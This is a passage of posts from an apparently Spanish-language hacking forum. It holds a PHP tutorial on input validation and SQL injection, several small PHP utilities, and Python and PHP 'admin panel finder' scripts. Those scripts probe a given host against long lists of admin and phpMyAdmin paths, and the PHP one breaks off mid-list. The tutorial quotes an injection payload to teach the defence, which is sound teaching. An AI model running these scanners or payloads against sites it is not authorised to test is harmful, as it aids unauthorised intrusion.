First off, we're not validating the user input at all. This is a problem in cases where the program expects a certain kind of input and we don't explicitly check for that input. I've purposefully labeled the columns "int_col" and "string_col" to let you know what types they are in the table. Notice that one is specifically an integer. Now, if the user enters a non-integer value in to that column, the query will error.

What not to do

Many people will be tempted to use one or more of the following when faced with validating integers:

    Cast the input to INT
    Use ctype_digit()
    Use is_numeric()

These are all the wrong ways to approach this problem.

Why casting to INT is bad

Casting to INT is often not a good idea from the standpoint that the behaviour is confusing to the user. For example if they accidentally enter the value "123r5" casting to INT will make this value "123". This could lead to results that simply don't make sense from the user's perspective. It is a much better idea to reject the input and ask them to enter a whole number.

Why ctype_digit() is bad

ctype_digit() has two main flaws when dealing with integer validation:

    It is incapable of dealing with signed numbers, so we can't validate negative values
    If the number is cast to an INT, it will treat the values from 0 - 255 as a character rather than a number

Why is_numeric() is bad

Many people reach for is_numeric() thinking this is a good approach, and it will seem to work just fine. However the problem with is_numeric() isn't that it can't detect an integer, it is that it detects a lot more than just integers. All of the following are valid numbers to is_numeric():

    1
    1.123
    0xFF
    +0123.45e6

See the problem? If we really want just an integer, this function is too broad.

So, how do I fix it?

The best way to fix this sort of validation issue is to use php's filter library. This library is designed to help you check and sanitize user input. For example, we could change our application to use filter_var() and it might look like this:

Código: PHP
<?php

// do some validation first!
if (filter_var($_GET['int_col'], FILTER_VALIDATE_INT) === false) {
  die('You must enter a valid integer!');
}

$user_id = 1;
$connection = mysql_connect('myserver.com', 'username', 'password');
mysql_select_db('my_database', $connection);
$query = "SELECT secret_data FROM mytable WHERE string_col = '{$_GET['string_col']}' AND int_col = {$_GET['int_col']} AND user_id={$user_id}";
$result = mysql_query($query);
$row = mysql_fetch_assoc($result);

?>


Now if we try to enter anything but a number for $_GET['int_col'] it won't get to the point where it asks MySQL for data. These kinds of validations are perfect for form data, and can allow you to decide to render the form again with errors to inform the user that they have made a mistake, and to try again. However, we're not quite finished here just yet. There is a remaining problem. The dreaded SQL injection.

What Is an SQL Injection Attack?



An SQL injection attack is when a user injects SQL commands in to an unprotected SQL query. This can lead to a number of issues, including modifying rows you didn't intend for the user to modify, dropped tables, deleted rows, and access to possibly sensitive data. It is critical that you learn and understand how these attacks work. SQL injection attacks are arguably the most common way PHP websites get exploited. The importance can not be overstated.

Initially, in code, the part where we build our query looks like this:

Código: php
<?
$query = "SELECT secret_data FROM mytable WHERE string_col = '{$_GET['string_col']}' AND int_col = {$_GET['int_col']} AND user_id={$user_id}";
?>


If I call: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta then:

    $_GET['string_col'] has a value of "some_data' OR 1=1 -- "
    $_GET['int_col'] has a value of "1"
    $user_id has a value of "1" (we set this in code, it is not a user supplied value)

When the code gets to the point where it builds the query, it winds up looking something like this:

Código: sql
SELECT secret_data FROM mytable WHERE string_col = 'some_data' OR 1=1 -- ' and int_col = 1 and user_id = 1


Notice the double dash. This is a mysql comment token, and it will cause everything after it to be ignored. To MySQL, the query now looks like this:

Código: sql
SELECT secret_data FROM mytable WHERE string_col = 'some_data' OR 1=1

Which is clearly now ignoring our $user_id variable, and the int_col clause in favour of what the attacker has chosen. You can probably imagine how bad this could get if instead of a SELECT the query happens to be an UPDATE or DELETE. Depending on the database library, it may also allow multiple queries to be specified in the same string, meaning the innocent SELECT could also have an entirely new query piggy-backed on to it.

How to Deal With Injection Attacks

So, we started off protecting our integer value, but what about the string value? Technically, a string could be any sequence of characters. If your program needs to allow them to be anything, we still have to protect our code. So how do we do this?

As with many things, there are several ways to deal with this problem depending on what database library you're using. To start off, we'll look at the standard mysql library used in the previous examples. The best way to avoid injection attacks when dealing with the standard mysql library, is to escape your parameters. We can do this with mysql_real_escape_string().

For example:

Código: php
<?php

// do some validation first!
if (filter_var($_GET['int_col'], FILTER_VALIDATE_INT) === false) {
  die('You must enter a valid integer!');
}

$user_id = 1;
$connection = mysql_connect('myserver.com', 'username', 'password');
mysql_select_db('my_database', $connection);
// escape parameters after the database connection is open because it asks the database how to escape things
$escaped_int_col = mysql_real_escape_string($_GET['int_col']);
$escaped_string_col = mysql_real_escape_string($_GET['string_col']);
$query = "SELECT secret_data FROM mytable WHERE string_col = '{$escaped_string_col}' AND int_col = {$escaped_int_col} AND user_id={$user_id}";
$result = mysql_query($query);
$row = mysql_fetch_assoc($result);

?>


So what's happening here? Consider our previous example where the attacker was sending a malicious string.

    some_data' OR 1=1 --

now becomes

    some_data\' OR 1=1 --

See the subtle difference? The "\" character makes it so that the quote in the string is now harmless, and instead of closing the value prematurely it will just be a part of the string. This is just one of the many bad characters mysql_real_escape_string() will fix for you.

Using Prepared Statements to Stop Injection Attacks

We've stopped the injection attack! Hurray! But what if there were an easier, better way to do all this? The good news is, there is! PHP comes with another database library to deal with MySQL. It is called PHP Data Objects or PDO for short. This library can use drivers for many different database types, and supports a very important feature known as prepared statements, sometimes also known as parametrized queries.

So what do these prepared statements do? Well, quite a lot. They allow us to design our query ahead of time and to put placeholders in the areas where our user supplied data will go. Then when we ask the library to inject the values, it automatically escapes them for us. Consider this example:
Código: php

<?php

// do some validation first!
if (filter_var($_GET['int_col'], FILTER_VALIDATE_INT) === false) {
  die('You must enter a valid integer!');
}

$dsn = 'mysql:dbname=my_database;host=myserver.com';
$username = 'username';
$password = 'password';
$user_id = 1;

// Set up PDO
$pdo = new PDO($dsn, $username, $password);
// Our parametrized query using placeholders.  No need for quotes around values, it will do this for us.
$query = "SELECT secret_data FROM mytable WHERE string_col = ? AND int_col = ? AND user_id = ?";
// our input values in order for the place holders.  No need to escape, it will do it for us!
$parameters = array($_GET['string_col'], $_GET['int_col'], $user_id);
// Prepare the query
$statement = $pdo->prepare($query);
// execute the query with our parameters
$statement->execute($parameters);
// Get the first returned row
$row = $statement->fetch(PDO::FETCH_ASSOC);

?>


Not only is this method much cleaner, but we can't forget to escape our parameters because PDO is kind enough to do it for us.

Another advantage of prepared statements is that you can use the prepared statement over and over by simply replacing the parameters and executing it again. Many servers detect that you're doing this, and even make the query faster by performing server-side optimizations.

Fuente/Source: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#16
Versión 2.2 de el conversor de string (convertidor), mejoré el código y agregué nuevos tipos de cifrado!

Tipos de cifrado
- Encode
- Decode
- gzinflate
- Encode UTF-7
- ASCII
- MD5
- SHA1
- Base64 encode
- Base64 decode
- Binario To Decimal   
- mcrypt


Código: PHP

<title> Conversor de string By 2Fac3R v2.2 </title>
<?php
/*
Conversor de string By 2Fac3R v2.2

  */
$string = $_POST['str'];
$conv = $_POST['convertir'];
$send = $_POST['send'];
function res($func){
global $string;
echo "Resultado: <br> <textarea cols='80' rows='5'>$func</textarea><br>";
echo "Normal: <b>".htmlentities($string,ENT_QUOTES)."</b> <br>";
echo "<a href=''> Regresar! </a>";
}
if(!empty($string)){
switch($conv){
case 'bin2hex':
res(bin2hex($string));
break;
case 'encode':
res(urlencode($string));
break;
case 'gzinflate':
res(gzinflate($string));
case 'decode':
res(htmlentities(urldecode($string)));
break;
case 'utf-7':
res(mb_convert_encoding($string,'UTF-7'));
break;
case 'ASCII':
echo "Resultado: <br><textarea>";
for($i=0;$i<strlen($string);$i++){
$obt=ord($string[$i]);
$ascii=$obt.',';
echo $ascii;
}
echo "</textarea><br> Normal: <b>".htmlentities($string)."</b><br><a href=''> Regresar! </a>";
break;
case 'MD5':
res(md5($string));
break;
case 'SHA1':
res(sha1($string));
break;
case 'Base64_encode':
res(base64_encode($string));
break;
case 'Base64_decode':
res(base64_decode($string));
break;
case 'bindec':
res(bindec($string));
break;
case 'mcrypt':
res(crypt($string));
break;
default:
die("Ha habido un error <a href=''> Regresar! </a>");
break;
}
}else{
if(isset($send)){?>
<script>alert("Campo de texto vacio");</script>
<noscript>Campo de texto vacio <br> <font color="RED"> Active el javascript para una mejor visualizaci&oacute;n </font></noscript>
<?}?>
<!-- Conversor de string By 2Fac3R v2.2 -->
<form action="" method="POST">
<select name="convertir">
<option value="bin2hex"> BinToHex </option>
<option value="encode"> Encode </option>
<option value="decode"> Decode </option>
<option value="gzinflate"> gzinflate </option>
<option value="utf-7"> Encode UTF-7</option>
<option value="ASCII"> ASCII </option>
<option value="MD5"> MD5 </option>
<option value="SHA1"> SHA1 </option>
<option value="Base64_encode"> Base64 encode</option>
<option value="Base64_decode"> Base64 decode</option>
<option value="bindec"> Binario To Decimal</option>
<option value="mcrypt">mcrypt</option>
</select>
<input type="text" name="str">
<input type="submit" name="send" value="Convertir!">
</form>
<?}
/*
* .- Underc0de.org -.
*    v2.0 2013
*
* Gr33tz to:
*
* xt3mp, arcangel_nigth, EddyW, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck, w4rning, Snifer,
* arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc...
*
* */
?>


Espero les sirva como a mi ;)
Zalu2
#17
Back-end / [PHP] Who visits my website?
Enero 31, 2013, 02:39:58 PM
Les dejo un pequeño script que acabo de terminar, es un simple contador de visitas (la versión anterior ya la había posteado), está en su versión 2.0.

Agregué PDO y mejoré un poco el código.

contador.php

Código: php

<title> Who visits my website By 2Fac3R v2.0 </title>
<?php
/*
   Who visits my website By 2Fac3R v2.0
  Con PDO
*/

class contar{


function datos($dbname,$user,$pwd){

$dsn = "mysql:host=localhost;dbname=$dbname";
$this -> con = new PDO($dsn,$user,$pwd);

}

function agregar($table){

$ip = $_SERVER['REMOTE_ADDR'];
$pag = __FILE__;
$ins = $this -> con -> prepare("INSERT INTO $table(ip,page) VALUES(:ip,:pag)");
$ins -> bindParam(":ip",$ip,PDO::PARAM_STR);
$ins -> bindParam(":pag",$pag,PDO::PARAM_STR);
$ins -> execute();

}

function view($table){
$mos = $this -> con -> query("SELECT * FROM $table");
echo $mos -> rowCount();
}

}

# Cambia por tus datos!
$db = 'test';
$table = 'contador';
$user = 'root';
$pwd = 'toor';
#----------------------

$contar = new contar;
$contar -> datos($db,$user,$pwd);
$contar -> agregar($table);
$contar -> view($table);


/*
* .- Underc0de.org -.
*    v2.0 2013
*
* Gr33tz to:
*
* xt3mp, arcangel_nigth, EddyW, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck, w4rning, Snifer,
* arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc...
*
* */
?>


Guarda el archivo que se visitó y la IP que la visitó.

contador.sql

Código: php

CREATE TABLE contador( -- Cambiar por nombre de tabla
ip varchar(12),
page text
);


Lo hize más que nada para desoxidarme de la POO en PHP, aunque no apliqué mucho pero sirve de algo xD
Zalu2
#18
Back-end / [PHP] Caesar cipher v1.1 (By 2Fac3R)
Enero 30, 2013, 02:15:18 PM
Mejoré esta tool del famoso cifrado caesar, arreglé errores y demás.

Código: PHP

<style type="text/css" media="all">
*{
color:green;

text-align:center;
}
.contenido{
text-align:justify;
}
</style>
<?php
/*
* Caesar cipher By 2Fac3R
* v1.1 - 2013
* */

$texto = strtolower($_POST['texto']);
$c_text = $_POST['ciphertext'];
$cifrar = $_POST['cifrar'];
$descifrar = $_POST['descifrar'];
$abc = 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz';
$cada = $_POST['cada'];
function cifrar($abc,$cada,$texto,$opc){

$partes = explode(' ',$texto);
foreach($partes as $parte){
for($i=0;$i < count($texto);$i++){
$x = 0;
while($x < strlen($parte)){
$found = strpos($abc,$parte{$x++});
echo $abc{$found+$cada};
}
echo " ";
}
}
}

function descifrar($abc,$cada,$c_text){
$partes = explode(' ',$c_text);
foreach($partes as $parte){
for($i=0;$i < count($c_text);$i++){
$x = 0;
while($x < strlen($parte)){
$found = strpos($abc,$parte{$x++});
echo $abc{$found-$cada};
}
echo " ";
}
}
}

?>
<h1> Caesar cipher By 2Fac3R </h1>
<a href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2b/Caesar3.svg/220px-Caesar3.svg.png" alt="cifrado caesar">
</img></a>
<br><br>
<form action="" method="POST">
<textarea name="texto" cols="80" rows="5" class="contenido"><?

echo isset($descifrar)&&($cada) ? descifrar($abc,$cada,$c_text) : 'Encrypt';

?></textarea> <br>
<button type="submit" name="cifrar"> Cifrar </button>
<button type="submit" name="descifrar"> Descifrar </button> <br>
<textarea name="ciphertext" cols="80" rows="5" class="contenido"><?

echo isset($cifrar)&&($cada) ? cifrar($abc,$cada,$texto,1) : 'Decrypt';

?></textarea> <br>
Salto :<input type="number" name="cada" size="1" maxlength="2" value="2"> <!-- 2 por defecto -->
</form>
El <i>cifrado C&eacute;sar</i> mueve cada letra un determinado n&uacute;mero de espacios en el alfabeto.
Por ejemplo, con un desplazamiento de 3, la <b>A</b> seria sustituida por la <b>D</b> (situada 3 lugares a
la derecha de la A ), la <b>B</b> seria reemplazada por la <b>E</b>, etc.<br>
<a style="color:blue" href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">Mas info!.</a></br>
<b>Nota:</b><i> Cualquier car&aacute;cteres que no est&eacute; en el abecedario no ser&aacute; cifrado/descifrado correctamente! </i>


A mi me sirve bastante para los retos, es un cifrado muy usado en los wargames :P
Zalu2
#19
Video realizado para/por Redifusión: Wayra Developer Day, en donde Chema Alonso explica las diferentes tecnicas de explotar vulnerabilidades web



Recomendado para los que se estén iniciando ;)
Zalu2
#20
Python / Admin Panel Finder [By 2Fac3R]
Enero 24, 2013, 02:46:04 PM
Les dejo este Admin Panel Finder en Python (acabo de publicar uno en PHP jeje) espero les sea de utilidad.

Código: python

                        # -----------------------------#
                        # Admin Panel Finder By 2Fac!  #
                        #         v1.0 2013            #
                        #                              # 
                        #          UnderC0de           #
                        # -----------------------------#

     
import os, sys, httplib
     
os.system("clear")
panel = ["/admin1.php", "/admin1.html", "/admin2.php", "/admin2.html", "/yonetim.php", "/yonetim.html",
"/yonetici.php", "/yonetici.html", "/ccms/", "/ccms/login.php", "/ccms/index.php", "/maintenance/",
"/webmaster/", "/adm/", "/configuration/", "/configure/", "/websvn/", "/admin/", "/admin/account.php",
"/admin/account.html","/admin/index.php","/admin/index.html", "/admin/login.php", "/admin/login.html",
"/admin/home.php", "/admin/controlpanel.html", "/admin/controlpanel.php", "/admin.php", "/admin.html",
"/admin/cp.php", "/admin/cp.html", "/cp.php", "/cp.html", "/administrator/", "/administrator/index.html",
"/administrator/index.php", "/administrator/login.html", "/administrator/login.php",
"/administrator/account.html", "/administrator/account.php", "/administrator.php", "/administrator.html",
"/login.php", "/login.html", "/modelsearch/login.php", "/moderator.php", "/moderator.html",
"/moderator/login.php", "/moderator/login.html", "/moderator/admin.php", "/moderator/admin.html",
"/moderator/", "/account.php", "/account.html", "/controlpanel/","/admincontrol.php","/admincontrol.html",
"/adminpanel.php","/adminpanel.html","/admin1.asp","/admin2.asp","/yonetim.asp","/yonetici.asp",
"/admin/account.asp","/admin/index.asp","/admin/login.asp","/admin/home.asp","/admin/controlpanel.asp",
"/admin.asp","/admin/cp.asp","/cp.asp","/administrator/index.asp","/administrator/login.asp",
"/administrator/account.asp","/administrator.asp","/login.asp","/modelsearch/login.asp","/moderator.asp",
"/moderator/login.asp","/moderator/admin.asp","/account.asp","/controlpanel.asp","/admincontrol.asp",
"/adminpanel.asp","/fileadmin/","/fileadmin.php","/fileadmin.asp","/fileadmin.html","/administration/",
"/administration.php","/administration.html","/sysadmin.php","/sysadmin.html","/phpmyadmin/","/myadmin/",
"/sysadmin.asp","/sysadmin/","/ur-admin.asp","/ur-admin.php","/ur-admin.html","/ur-admin/","/Server.php",
"/Server.html","/Server.asp","/Server/","/wp-admin/","/administr8.php","/administr8.html","/administr8/",
"/administr8.asp","/webadmin/","/webadmin.php","/webadmin.asp","/webadmin.html","/administratie/","/admins/",
"/admins.php","/admins.asp","/admins.html","/administrivia/","/Database_Administration/","/WebAdmin/",
"/useradmin/","/sysadmins/","/admin1/","/system-administration/","/administrators/","/pgadmin/","/directadmin/",
"/staradmin/","/ServerAdministrator/","/SysAdmin/","/administer/","/LiveUser_Admin/","/sys-admin/","/typo3/",
"/panel/","/cpanel/","/cPanel/","/cpanel_file/","/platz_login/","/rcLogin/","/blogindex/","/formslogin/",
"/autologin/","/support_login/","/meta_login/","/manuallogin/","/simpleLogin/","/loginflat/","/utility_login/",
"/showlogin/","/memlogin/","/members/","/login-redirect/","/sub-login/","/wp-login/","/login1/","/dir-login/",
"/login_db/","/xlogin/","/smblogin/","/customer_login/","/UserLogin/","/login-us/","/acct_login/",
"/admin_area/","/bigadmin/","/project-admins/","/phppgadmin/","/pureadmin/","/sql-admin/","/radmind/",
"/openvpnadmin/","/wizmysqladmin/","/vadmind/","/ezsqliteadmin/","/hpwebjetadmin/","/newsadmin/","/adminpro/",
"/Lotus_Domino_Admin/","/bbadmin/","/vmailadmin/","/Indy_admin/","/ccp14admin/","/irc-macadmin/",
"/banneradmin/","/sshadmin/","/phpldapadmin/","/macadmin/","/administratoraccounts/","/admin4_account/",
"/admin4_colon/","/radmind-1/","/Super-Admin/","/AdminTools/","/cmsadmin/","/SysAdmin2/","/globes_admin/",
"/cadmins/","/phpSQLiteAdmin/","/navSiteAdmin/","/server_admin_small/","/logo_sysadmin/","/server/",
"/database_administration/","/power_user/","/system_administration/","/ss_vms_admin_sm/","/administrador",
"/administracion","/moderacion","/moderador","/phpMyAdmin/","/phpmyadmin/","/PMA/","/admin/","/dbadmin/",
"/mysql/","/myadmin/","/phpmyadmin2/","/phpMyAdmin2/","/phpMyAdmin-2/","/php-my-admin/","/phpMyAdmin-2.2.3/",
"/phpMyAdmin-2.2.6/","/phpMyAdmin-2.5.1/","/phpMyAdmin-2.5.4/","/phpMyAdmin-2.5.5-rc1/",
"/phpMyAdmin-2.5.5-rc2/","/phpMyAdmin-2.5.5/","/phpMyAdmin-2.5.5-pl1/","/phpMyAdmin-2.5.6-rc1/",
"/phpMyAdmin-2.5.6-rc2/","/phpMyAdmin-2.5.6/","/phpMyAdmin-2.5.7/","/phpMyAdmin-2.5.7-pl1/",
"/phpMyAdmin-2.6.0-alpha/","/phpMyAdmin-2.6.0-alpha2/","/phpMyAdmin-2.6.0-beta1/","/phpMyAdmin-2.6.0-beta2/",
"/phpMyAdmin-2.6.0-rc1/","/phpMyAdmin-2.6.0-rc2/","/phpMyAdmin-2.6.0-rc3/","/phpMyAdmin-2.6.0/",
"/phpMyAdmin-2.6.0-pl1/","/phpMyAdmin-2.6.0-pl2/","/phpMyAdmin-2.6.0-pl3/","/phpMyAdmin-2.6.1-rc1/",
"/phpMyAdmin-2.6.1-rc2/","/phpMyAdmin-2.6.1/","/phpMyAdmin-2.6.1-pl1/","/phpMyAdmin-2.6.1-pl2/",
"/phpMyAdmin-2.6.1-pl3/","/phpMyAdmin-2.6.2-rc1/","/phpMyAdmin-2.6.2-beta1/","/phpMyAdmin-2.6.2-rc1/",
"/phpMyAdmin-2.6.2/","/phpMyAdmin-2.6.2-pl1/","/phpMyAdmin-2.6.3/","/phpMyAdmin-2.6.3-rc1/",
"/phpMyAdmin-2.6.3/","/phpMyAdmin-2.6.3-pl1/","/phpMyAdmin-2.6.4-rc1/","/phpMyAdmin-2.6.4-pl1/",
"/phpMyAdmin-2.6.4-pl2/","/phpMyAdmin-2.6.4-pl3/","/phpMyAdmin-2.6.4-pl4/","/phpMyAdmin-2.6.4/",
"/phpMyAdmin-2.7.0-beta1/","/phpMyAdmin-2.7.0-rc1/","/phpMyAdmin-2.7.0-pl1/","/phpMyAdmin-2.7.0-pl2/",
"/phpMyAdmin-2.7.0/","/phpMyAdmin-2.8.0-beta1/","/phpMyAdmin-2.8.0-rc1/","/phpMyAdmin-2.8.0-rc2/",
"/phpMyAdmin-2.8.0/","/phpMyAdmin-2.8.0.1/","/phpMyAdmin-2.8.0.2/","/phpMyAdmin-2.8.0.3/",
"/phpMyAdmin-2.8.0.4/","/phpMyAdmin-2.8.1-rc1/","/phpMyAdmin-2.8.1/","/phpMyAdmin-2.8.2/",
"/phpMyAdmin-3.4.6-rc1/","/phpMyAdmin-3.4.5/","/phpMyAdmin-3.4.4/","/phpMyAdmin-3.3.10.4/",
"/phpMyAdmin-3.4.3.2/","/phpMyAdmin-3.3.10.3/","/phpMyAdmin-3.4.3.1/","/phpMyAdmin-3.4.3/",
"/phpMyAdmin-3.4.2/","/phpMyAdmin-3.4.1/","/phpMyAdmin-3.3.10.1/","/phpMyAdmin-3.4.0/","/phpMyAdmin-3.3.10/",
"/phpMyAdmin-2.1.0/","/phpMyAdmin-2.0.5/","/phpMyAdmin-1.3.0/","/phpMyAdmin-1.1.0/","/phpMyAdmin-3.3.9.2/",
"/phpMyAdmin-2.11.11.3/","/phpMyAdmin-3.3.9.1/","/phpMyAdmin-3.3.9/","/phpMyAdmin-3.3.8.1/",
"/phpMyAdmin-2.11.11.1/","/phpMyAdmin-3.3.8/","/phpMyAdmin-3.3.7/","/phpMyAdmin-2.11.11/",
"/phpMyAdmin-3.3.6/","/phpMyAdmin-3.3.5.1/","/phpMyAdmin-2.11.10.1/","/sqlmanager/","/mysqlmanager/","/p/m/a/",
"/PMA2005/","/pma2005/","/phpmanager/","/php-myadmin/","/phpmy-admin/","/webadmin/","/sqlweb/","/websql/",
"/webdb/","/mysqladmin/","/mysql-admin/"]

def h():
    print """
                        # -----------------------------#
                        # Admin Panel Finder By 2Fac!  #
                        #         v1.0 2013            #
                        #                              # 
                        #        UnderC0de.Org         #
                        # -----------------------------#
    """
     
h()
     
def uso():
    print "\n Sintaxis : ",sys.argv[0]," <host> \n"

def greets():
    print """
   
    \t\tGr33tz to:
   
    \nxt3mp, arcangel_nigth, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy,
    \nv1c0_h4ck, w4rning, etc, etc .
    \n\t\t\t Underc0de.Org"""
     
def res(url,path):
    con = httplib.HTTPConnection(url)
    con.request("GET",path)
    return con.getresponse().status   
     
def buscar(url):
    print "\n Searching...\n\n"
    for path in panel:
        try:
            code = res(url,path)
            if code ==200:
                print "FOUND --> "+url+path
        except(KeyboardInterrupt):
            uso()
        except:
            pass
       
if len(sys.argv) != 2 :
    uso()
     
else:
    buscar(sys.argv[1])
   
greets()



Espero les sea de utilidad.
Zalu2
#21
Back-end / Admin Panel Finder [By 2Fac3R]
Enero 24, 2013, 02:43:22 PM
Hola amigos, tenía este admin panel finder hecho desde hace unos dias y se me había olvidado postearlo xD, les dejo el código:

Código: PHP

<title> Admin Panel Finder v1.0 By 2Fac3R</title>

<style>

body,html{
background-color:black;
text-align:center;
color:green;
}

#found{
font-style:italic;
font-size:large;
}
a{
color:red;
}

</style>

<pre>

  ___      _           _        ______                _  ______ _           _            ______         _____ ______         _
/ _ \    | |         (_)       | ___ \              | | |  ___(_)         | |           | ___ \       / __  \|  ___|       | |
/ /_\ \ __| |_ __ ___  _ _ __   | |_/ /_ _ _ __   ___| | | |_   _ _ __   __| | ___ _ __  | |_/ /_   _  `' / /'| |_ __ _  ___| |
|  _  |/ _` | '_ ` _ \| | '_ \  |  __/ _` | '_ \ / _ \ | |  _| | | '_ \ / _` |/ _ \ '__| | ___ \ | | |   / /  |  _/ _` |/ __| |
| | | | (_| | | | | | | | | | | | | | (_| | | | |  __/ | | |   | | | | | (_| |  __/ |    | |_/ / |_| | ./ /___| || (_| | (__|_|
\_| |_/\__,_|_| |_| |_|_|_| |_| \_|  \__,_|_| |_|\___|_| \_|   |_|_| |_|\__,_|\___|_|    \____/ \__, | \_____/\_| \__,_|\___(_)
                                                                                                 __/ |                         
                                                                                                |___/                         

</pre>

<b>Uso:</b> <br><br>

Es necesario anteponer el "http://" para que funcione correctamente.

<br><br><br>
<form action="" method="POST">
<input type="text" name="page" size="50" value="http://">
<input type="submit" name="submit" value="Buscar!">
</form> <br>

<?php
# ---------------------------------
# Admin Panel Finder By 2Fac3R
# v1.0 - 2013
# ---------------------------------

set_time_limit(0);
error_reporting(0);
$panel = array("/admin1.php", "/admin1.html", "/admin2.php", "/admin2.html", "/yonetim.php", "/yonetim.html",
"/yonetici.php", "/yonetici.html", "/ccms/", "/ccms/login.php", "/ccms/index.php", "/maintenance/",
"/webmaster/", "/adm/", "/configuration/", "/configure/", "/websvn/", "/admin/", "/admin/account.php",
"/admin/account.html","/admin/index.php","/admin/index.html", "/admin/login.php", "/admin/login.html",
"/admin/home.php", "/admin/controlpanel.html", "/admin/controlpanel.php", "/admin.php", "/admin.html",
"/admin/cp.php", "/admin/cp.html", "/cp.php", "/cp.html", "/administrator/", "/administrator/index.html",
"/administrator/index.php", "/administrator/login.html", "/administrator/login.php",
"/administrator/account.html", "/administrator/account.php", "/administrator.php", "/administrator.html",
"/login.php", "/login.html", "/modelsearch/login.php", "/moderator.php", "/moderator.html",
"/moderator/login.php", "/moderator/login.html", "/moderator/admin.php", "/moderator/admin.html",
"/moderator/", "/account.php", "/account.html", "/controlpanel/","/admincontrol.php","/admincontrol.html",
"/adminpanel.php","/adminpanel.html","/admin1.asp","/admin2.asp","/yonetim.asp","/yonetici.asp",
"/admin/account.asp","/admin/index.asp","/admin/login.asp","/admin/home.asp","/admin/controlpanel.asp",
"/admin.asp","/admin/cp.asp","/cp.asp","/administrator/index.asp","/administrator/login.asp",
"/administrator/account.asp","/administrator.asp","/login.asp","/modelsearch/login.asp","/moderator.asp",
"/moderator/login.asp","/moderator/admin.asp","/account.asp","/controlpanel.asp","/admincontrol.asp",
"/adminpanel.asp","/fileadmin/","/fileadmin.php","/fileadmin.asp","/fileadmin.html","/administration/",
"/administration.php","/administration.html","/sysadmin.php","/sysadmin.html","/phpmyadmin/","/myadmin/",
"/sysadmin.asp","/sysadmin/","/ur-admin.asp","/ur-admin.php","/ur-admin.html","/ur-admin/","/Server.php",
"/Server.html","/Server.asp","/Server/","/wp-admin/","/administr8.php","/administr8.html","/administr8/",
"/administr8.asp","/webadmin/","/webadmin.php","/webadmin.asp","/webadmin.html","/administratie/","/admins/",
"/admins.php","/admins.asp","/admins.html","/administrivia/","/Database_Administration/","/WebAdmin/",
"/useradmin/","/sysadmins/","/admin1/","/system-administration/","/administrators/","/pgadmin/","/directadmin/",
"/staradmin/","/ServerAdministrator/","/SysAdmin/","/administer/","/LiveUser_Admin/","/sys-admin/","/typo3/",
"/panel/","/cpanel/","/cPanel/","/cpanel_file/","/platz_login/","/rcLogin/","/blogindex/","/formslogin/",
"/autologin/","/support_login/","/meta_login/","/manuallogin/","/simpleLogin/","/loginflat/","/utility_login/",
"/showlogin/","/memlogin/","/members/","/login-redirect/","/sub-login/","/wp-login/","/login1/","/dir-login/",
"/login_db/","/xlogin/","/smblogin/","/customer_login/","/UserLogin/","/login-us/","/acct_login/",
"/admin_area/","/bigadmin/","/project-admins/","/phppgadmin/","/pureadmin/","/sql-admin/","/radmind/",
"/openvpnadmin/","/wizmysqladmin/","/vadmind/","/ezsqliteadmin/","/hpwebjetadmin/","/newsadmin/","/adminpro/",
"/Lotus_Domino_Admin/","/bbadmin/","/vmailadmin/","/Indy_admin/","/ccp14admin/","/irc-macadmin/",
"/banneradmin/","/sshadmin/","/phpldapadmin/","/macadmin/","/administratoraccounts/","/admin4_account/",
"/admin4_colon/","/radmind-1/","/Super-Admin/","/AdminTools/","/cmsadmin/","/SysAdmin2/","/globes_admin/",
"/cadmins/","/phpSQLiteAdmin/","/navSiteAdmin/","/server_admin_small/","/logo_sysadmin/","/server/",
"/database_administration/","/power_user/","/system_administration/","/ss_vms_admin_sm/","/administrador",
"/administracion","/moderacion","/moderador","/phpMyAdmin/","/phpmyadmin/","/PMA/","/admin/","/dbadmin/",
"/mysql/","/myadmin/","/phpmyadmin2/","/phpMyAdmin2/","/phpMyAdmin-2/","/php-my-admin/","/phpMyAdmin-2.2.3/",
"/phpMyAdmin-2.2.6/","/phpMyAdmin-2.5.1/","/phpMyAdmin-2.5.4/","/phpMyAdmin-2.5.5-rc1/",
"/phpMyAdmin-2.5.5-rc2/","/phpMyAdmin-2.5.5/","/phpMyAdmin-2.5.5-pl1/","/phpMyAdmin-2.5.6-rc1/",
"/phpMyAdmin-2.5.6-rc2/","/phpMyAdmin-2.5.6/","/phpMyAdmin-2.5.7/","/phpMyAdmin-2.5.7-pl1/",
"/phpMyAdmin-2.6.0-alpha/","/phpMyAdmin-2.6.0-alpha2/","/phpMyAdmin-2.6.0-beta1/","/phpMyAdmin-2.6.0-beta2/",
"/phpMyAdmin-2.6.0-rc1/","/phpMyAdmin-2.6.0-rc2/","/phpMyAdmin-2.6.0-rc3/","/phpMyAdmin-2.6.0/",
"/phpMyAdmin-2.6.0-pl1/","/phpMyAdmin-2.6.0-pl2/","/phpMyAdmin-2.6.0-pl3/","/phpMyAdmin-2.6.1-rc1/",
"/phpMyAdmin-2.6.1-rc2/","/phpMyAdmin-2.6.1/","/phpMyAdmin-2.6.1-pl1/","/phpMyAdmin-2.6.1-pl2/",
"/phpMyAdmin-2.6.1-pl3/","/phpMyAdmin-2.6.2-rc1/","/phpMyAdmin-2.6.2-beta1/","/phpMyAdmin-2.6.2-rc1/",
"/phpMyAdmin-2.6.2/","/phpMyAdmin-2.6.2-pl1/","/phpMyAdmin-2.6.3/","/phpMyAdmin-2.6.3-rc1/",
"/phpMyAdmin-2.6.3/","/phpMyAdmin-2.6.3-pl1/","/phpMyAdmin-2.6.4-rc1/","/phpMyAdmin-2.6.4-pl1/",
"/phpMyAdmin-2.6.4-pl2/","/phpMyAdmin-2.6.4-pl3/","/phpMyAdmin-2.6.4-pl4/","/phpMyAdmin-2.6.4/",
"/phpMyAdmin-2.7.0-beta1/","/phpMyAdmin-2.7.0-rc1/","/phpMyAdmin-2.7.0-pl1/","/phpMyAdmin-2.7.0-pl2/",
